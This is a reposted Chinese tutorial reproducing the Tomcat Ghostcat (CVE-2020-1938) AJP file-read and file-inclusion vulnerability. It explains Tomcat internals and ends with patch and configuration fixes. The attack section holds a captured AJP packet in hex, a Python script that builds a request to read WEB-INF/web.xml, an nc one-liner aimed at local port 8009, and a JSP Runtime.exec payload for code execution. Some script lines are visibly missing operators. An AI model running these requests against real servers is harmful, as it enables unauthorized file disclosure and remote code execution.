• 首页 首页 icon
  • 工具库 工具库 icon
    • IP查询 IP查询 icon
  • 内容库 内容库 icon
    • 快讯库 快讯库 icon
    • 精品库 精品库 icon
    • 问答库 问答库 icon
  • 更多 更多 icon
    • 服务条款 服务条款 icon

网络抓包方式复现Tomcat- AJP协议文件读取/命令执行漏洞CVE-2020-1938 / CNVD-2020-10487

武飞扬头像
戲子 鬧京城°ぃ
帮助1

目录

 测试是否安装成功编辑

基础简介

Tomcat Connector(连接器)

编辑Servlet(服务程序)

Tomcat内部处理请求流程

文件读取漏洞

抓包复现

需要将下图中抓取到的数据包修改一下

编辑

替换成二进制数据的形式:

运行结果 

编辑

创建脚本文件,复现

文件包含漏洞

 Tomcat加载和处理jsp的流程图

漏洞修复

如果未使用 Tomcat AJP 协议

步骤

如果使用了 Tomcat AJP 协议


apache-tomcat-9.0.30.zip学新通http://archive.apache.org/dist/tomcat/tomcat-9/v9.0.30/bin/apache-tomcat-9.0.30.zip

注意:需要下载9.0.30及以下的版本

哪些版本的 Tomcat 受到 Ghostcat 漏洞影响?

Apache Tomcat 9.x < 9.0.31

Apache Tomcat 8.x < 8.5.51

Apache Tomcat 7.x < 7.0.100

Apache Tomcat 6.x

运行需要Java环境

解压后需要在apache-tomcat-9.0.30/bin/ 目录下面的所有.sh文件给上权限

学新通

然后运行shartup.sh

学新通

 测试是否安装成功学新通

学新通

基础简介

Tomcat Connector(连接器)

首先来说一下Tomcat的Connector组件,Connector组件的主要职责就是负责接收客户端连接客户端请求的处理加工。每个Connector会监听一个指定端口,分别负责对请求报文的解析和响应报文组装,解析过程封装Request对象,而组装过程封装Response对象。

举个例子,如果把Tomcat比作一个城堡,那么Connector组件就是城堡的城门,为进出城堡的人们提供通道。当然,可能有多个城门,每个城门代表不同的通道。而Tomcat默认配置启动,开了两个城门(通道):一个是监听8080端口的HTTP Connector,另一个是监听8009端口的AJP Connector

Tomcat组件相关的配置文件是在conf/server.xml,配置文件中每一个元素都对应了Tomcat的一个组件(可以在配置文件中找到如下两项,配置了两个Connector组件):

  1.  
    <!-- Define a non-SSL/TLS HTTP/1.1 Connector on port 8080 -->
  2.  
    <Connector port="8080" protocol="HTTP/1.1" connectionTimeout="20000" redirectPort="8443" />
  3.  
    .....
  4.  
    <!-- Define an AJP 1.3 Connector on port 8009 -->
  5.  
    <Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />

HTTP Connector很好理解,通过浏览器访问Tomcat服务器的Web应用时,使用的就是这个连接器;

AJP Connector是通过AJP协议和一个Web容器进行交互。在将Tomcat与其他HTTP服务器(一般是Apache )集成时,就需要用到这个连接器。AJP协议是采用二进制形式代替文本形式传输,相比HTTP这种纯文本的协议来说,效率和性能更高,也做了很多优化。

显然,浏览器只支持HTTP协议,并不能直接支持AJP协议。所以实际情况是,通过Apache的proxy_ajp模块进行反向代理,暴露成http协议(8009端口)给客户端访问,大致如下图所示:

学新通Servlet(服务程序)

Servlet意为服务程序,也可简单理解为是一种用来处理网络请求的一套规范。主要作用是给上级容器(Tomcat)提供doGet()和doPost()等方法,其生命周期实例化、初始化、调用、销毁受控于Tomcat容器。有个例子可以很好理解:想象一下,在一栋大楼里有非常多特殊服务者Servlet,这栋大楼有一套智能系统帮助接待顾客引导他们去所需的服务提供者(Servlet)那接受服务。这里顾客就是一个个请求,特殊服务者就是Servlet,而这套智能系统就是Tomcat容器。

Tomcat中Servlet的配置是在`conf/web.xml`。Tomcat默认配置定义了两个servlet,分别为`DefaultServlet`和`JspServlet`:

  1.  
    <!-- The default servlet for all web applications, that serves static -->
  2.  
    <!-- resources. It processes all requests that are not mapped to other -->
  3.  
    <!-- servlets with servlet mappings. -->
  4.  
    <servlet>
  5.  
    <servlet-name>default</servlet-name>
  6.  
    <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
  7.  
    ......
  8.  
    ......
  9.  
    </servlet>
  10.  
    <!-- The JSP page compiler and execution servlet, which is the mechanism -->
  11.  
    <!-- used by Tomcat to support JSP pages. Traditionally, this servlet -->
  12.  
    <!-- is mapped to the URL pattern "*.jsp". -->
  13.  
    <servlet>
  14.  
    <servlet-name>jsp</servlet-name>
  15.  
    <servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class>
  16.  
    ......
  17.  
    ......
  18.  
    </servlet>
  19.  
    ......
  20.  
    ......
  21.  
    <!-- The mapping for the default servlet -->
  22.  
    <servlet-mapping>
  23.  
    <servlet-name>default</servlet-name>
  24.  
    <url-pattern>/</url-pattern>
  25.  
    </servlet-mapping>
  26.  
     
  27.  
    <!-- The mappings for the JSP servlet -->
  28.  
    <servlet-mapping>
  29.  
    <servlet-name>jsp</servlet-name>
  30.  
    <url-pattern>*.jsp</url-pattern>
  31.  
    <url-pattern>*.jspx</url-pattern>
  32.  
    </servlet-mapping>
学新通

所有的请求进入tomcat,都会流经servlet。由注释可以很明显看出,如果没有匹配到任何应用指定的servlet,那么就会流到默认的servlet(即DefaultServlet),而JspServlet负责处理所有JSP文件的请求。

Tomcat内部处理请求流程

Tomcat内部处理请求的流程第一次看可能觉得会有点复杂。网上很多分析tomcat内部架构的文章,看几篇就能明白个大概了。网上看到张图,简单修改重新绘制了下,介绍一下Tomcat内部处理HTTP请求的流程,便于理解后续的漏洞分析:

学新通

  1. 用户点击网页内容,请求被发送到本机端口8080,被Connector获得(Connector中的Processor用于封装Request,Adapter用于将封装好的Request交给Container)。

  2. Connector把该请求交给Container中的Engine来处理,并等待Engine的回应。

  3. Engine获得请求localhost/test/index.jsp,匹配所有的虚拟主机Host。

  4. Engine匹配到名为localhost的Host(即使匹配不到也把请求交给该Host处理,因为该Host被定义为该Engine的默认主机),名为localhost的Host获得请求/test/index.jsp,匹配它所拥有的所有的Context。Host匹配到路径为/test的Context(如果匹配不到就把该请求交给路径名为" "的Context去处理)。

  5. path="/test"的Context获得请求/index.jsp,在它的mapping table中寻找出对应的Servlet。Context匹配到URL PATTERN为*.jsp的Servlet,对应于JspServlet类(匹配不到指定Servlet的请求对应DefaultServlet类)。

  6. Wrapper是最底层的容器,负责管理一个Servlet。构造HttpServletRequest对象和HttpServletResponse对象,作为参数调用JspServlet的doGet()或doPost(),执行业务逻辑、数据存储等程序。

  7. Context把执行完之后的HttpServletResponse对象返回给Host。

  8. Host把HttpServletResponse对象返回给Engine。

  9. Engine把HttpServletResponse对象返回Connector。

  10. Connector把HttpServletResponse对象返回给客户Browser。

Ajp协议的请求在Tomcat内的处理流程与我们上文介绍的Tomcat处理HTTP请求流程类似。我们构造两个不同的请求,经过tomcat内部处理流程,一个走default servlet(DefaultServlet),另一个走jsp servlet(JspServlet),可导致的不同的漏洞。

文件读取漏洞走的是DefaultServlet,文件包含漏洞走的是JspServlet。

文件读取漏洞

抓包复现

学新通

  1.  
    AJP MAGIC ---1234
  2.  
    AJP DATA LENFTH ---01e3
  3.  
    AJP DATA----
  4.  
    02020008485454502f312e310000012f0000093132372e302e302e3100ffff00093132372e302e302e310000500
  5.  
    0000ba00b00093132372e302e302e3100a00e004e4d6f7a696c6c612f352e3020285831313b205562756e74753b
  6.  
    204c696e7578207838365f36343b2072763a3130392e3029204765636b6f2f32303130303130312046697265666
  7.  
    f782f3130392e3000a0010055746578742F68746d6c2C6170706C69636174696f6e2f7868746d6c2b786d6c2c61
  8.  
    70706c69636174696f6e2f786d6c3b713d302e392C696d6167652f617669662c696d6167652f776562702c2a2f2
  9.  
    a3b713d302e3800a004000e656e2d55532656e3b713d302e3500a0030011677a69702C206465666c6174652C206
  10.  
    27200a006000a6b6565702d616c697665000019557067726164652d496e7365637572652d526571756573747300
  11.  
    00013100000e5365632d46657463682d44657374000008646f63756d656e7400000e5365632d46657463682d4d6
  12.  
    f64650000086e6176696761746500000e5365632d46657463682d536974650000046e6f6e6500000e5365632d46
  13.  
    657463682d557365720000023f31000a000f414a505f52454d4f54455f504f52540000053532383230000a000e4
  14.  
    14a505f4c4f43414c5f414444520000093132372e302e302e3100
  15.  
    AJP END ---ff
  16.  
     
  17.  
     
  18.  
    DATA格式:
  19.  
     
  20.  
    AJP_REMOVE_PORT:44442
  21.  
    0a000f 414a505f52454d4f54455f504f5254 0000 05343231323600
  22.  
    414a505f52454d4f54455f504f5254是AJP_REMOTE_PORT
  23.  
    0000用来分隔请求头的key和value
  24.  
    053432313236是value
  25.  
    0a000e414a505f4c4f43414c5f414444520000093132372e302e302e3100
  26.  
     
  27.  
    0a00是request_header的标志
  28.  
    of是header的长度
  29.  
    00表示结束
  30.  
    需要拼接的形式:0a00 key长度 0000 value长度 value 00
学新通

需要将下图中抓取到的数据包修改一下

学新通

替换成二进制数据的形式:

学新通

  1.  
    'javax.servlet.include.request_uri': '/WEB-INF/web.xml',
  2.  
    'javax.servlet.include.path_info': 'web.xml',
  3.  
    'javax.servlet.include.servlet_path': '/WEB-INF/',

再修改AJP_DATA_LENGTH为正确的大小即可

python版替换代码:

  1.  
    import binascii
  2.  
     
  3.  
    AJP_MAGIC = '1234'.encode()
  4.  
     
  5.  
    AJP_HEADER = b'这里是AJP DATA'
  6.  
     
  7.  
    def unhex(hex):
  8.  
    return binascii.unhexlify(hex)
  9.  
    def pack_attr(attr):
  10.  
    attr_length = hex(len(attr))[2:].encode().zfill(2)
  11.  
    return attr_length binascii.hexlify(attr.encode())
  12.  
     
  13.  
    attribute = {
  14.  
    'javax.servlet.include.request_uri': '/WEB-INF/web.xml',
  15.  
    'javax.servlet.include.path_info': 'web.xml',
  16.  
    'javax.servlet.include.servlet_path': '/WEB-INF/',
  17.  
    }
  18.  
     
  19.  
    req_attribute = b''
  20.  
    for key, value in attribute.items():
  21.  
    # key_length = hex(len(key))[2:].encode().zfill(2)
  22.  
    # value_length = hex(len(value))[2:].encode().zfill(2)
  23.  
    req_attribute = b'0a00' pack_attr(key) b'0000' pack_attr(value) b'00'
  24.  
     
  25.  
     
  26.  
     
  27.  
    AJP_DATA = AJP_HEADER req_attribute b'ff'
  28.  
    AJP_DATA_LENGTH = hex(len(binascii.unhexlify(AJP_DATA)))[2:].zfill(4)
  29.  
    AJP_FORWARD_REQUEST = AJP_MAGIC AJP_DATA_LENGTH.encode() AJP_DATA
  30.  
    print(AJP_FORWARD_REQUEST)
学新通

运行结果 

学新通

123401fa02020008485454502f312e310000012f0000093132372e302e302e310000096c6f63616c686f73740000093132372e302e302e31000050000007a00b00093132372e302e302e3100a00e00444d6f7a696c6c612f352e3020285831313b204c696e7578207838365f36343b2072763a36382e3029204765636b6f2f32303130303130312046697265666f782f36382e3000a001003f746578742f68746d6c2c6170706c69636174696f6e2f7868746d6c2b786d6c2c6170706c69636174696f6e2f786d6c3b713d302e392c2a2f2a3b713d302e3800a004000e656e2d55532c656e3b713d302e3500a003000d677a69702c206465666c61746500a006000a6b6565702d616c697665000019557067726164652d496e7365637572652d526571756573747300000131000a000f414a505f52454d4f54455f504f52540000053539303538000a000e414a505f4c4f43414c5f414444520000093132372e302e302e31000a00216a617661782e736572766c65742e696e636c7564652e726571756573745f7572690000102f5745422d494e462f7765622e786d6c000a001f6a617661782e736572766c65742e696e636c7564652e706174685f696e666f0000077765622e786d6c000a00226a617661782e736572766c65742e696e636c7564652e736572766c65745f706174680000092f5745422d494e462f00ff

学新通

创建脚本文件,复现

学新通

执行命令

python3 ajp_tomcat.py | xxd -r -p | nc -v 127.0.0.1 8009

学新通

学新通

文件包含漏洞

请求经过AjpProcessor类的处理,随后将请求转发给了JspServlet。POC中的请求url是.jsp文件,而JspServlet负责处理所有JSP文件的请求

首先在webapps/manager目录下新建文件test.txt,内容为:

<%Runtime.getRuntime().exec("calc.exe");%>

修改POC进行调试。POC中的四个关键参数,也先在此说明:

  1.  
    # 请求url,这个参数一定要是以“.jsp”结尾
  2.  
    req_uri = '/manager/ddd.jsp'
  3.  
     
  4.  
    # AJP协议请求中的三个属性
  5.  
    javax.servlet.include.request_uri = '/'
  6.  
    javax.servlet.include.path_info = 'test.txt'
  7.  
    javax.servlet.include.servlet_path = '/'

 Tomcat加载和处理jsp的流程图

学新通

总结:简单理解就是我们传入的"/test.txt"被当成jsp编译执行。带入了Tomcat处理jsp的处理流程,将jsp(test.txt)转义成Servlet源代码.java(test_txt.java),将Servlet源代码.java编译成Servlet类.class(test_txt.class),Servlet类执行后,响应结果至客户端。

该漏洞造成RCE的条件是:在webapps目录下上传文件(可以是任意文件),随后通过该文件包含漏洞,造成RCE。

漏洞复现:修改poc中的请求url为manager/ddd.jsp,test.txt中的代码被执行。

学新通

学新通

漏洞修复

如果未使用 Tomcat AJP 协议

则可以直接将 Tomcat 升级到 9.0.31、8.5.51 或 7.0.100 版本进行漏洞修复。

而对于确定未使用 Tomcat AJP 协议,但无法进行版本更新、或者是更老版本的用户,可以考虑直接关闭 AJP Connector,或将其监听地址改为仅监听在本机 localhost。

步骤

编辑 <CATALINA_BASE>/conf/server.xml,找到如下行(<CATALINA_BASE> 为 Tomcat 的工作目录):

<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />

将此行注释掉(或直接删掉此行):

<!--<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />-->

更改完毕后,重启 Tomcat 即可

如果使用了 Tomcat AJP 协议

如果确定服务器环境中使用到了 Tomcat AJP 协议,则建议将 Tomcat 升级到 9.0.31、8.5.51 或 7.0.100 版本,同时为 AJP Connector 配置 secret 来设置 AJP 协议认证凭证。

例如(注意必须将 YOUR_TOMCAT_AJP_SECRET 更改为一个安全性高、无法被轻易猜解的值):

<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" address="YOUR_TOMCAT_IP_ADDRESS" secret="YOUR_TOMCAT_AJP_SECRET" />

而对于无法进行版本更新、或者是更老版本的用户,则建议为 AJP Connector 配置 requiredSecret 来设置 AJP 协议认证凭证。例如(注意必须将 YOUR_TOMCAT_AJP_SECRET 更改为一个安全性高、无法被轻易猜解的值):

<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" address="YOUR_TOMCAT_IP_ADDRESS" requiredSecret="YOUR_TOMCAT_AJP_SECRET" />

参考博客学新通https://paper.seebug.org/1147/

这篇好文章是转载于:学新通技术网

  • 版权申明: 本站部分内容来自互联网,仅供学习及演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,请提供相关证据及您的身份证明,我们将在收到邮件后48小时内删除。
  • 本站站名: 学新通技术网
  • 本文地址: /boutique/detail/tanhgheeck
系列文章
更多 icon
同类精品
更多 icon
继续加载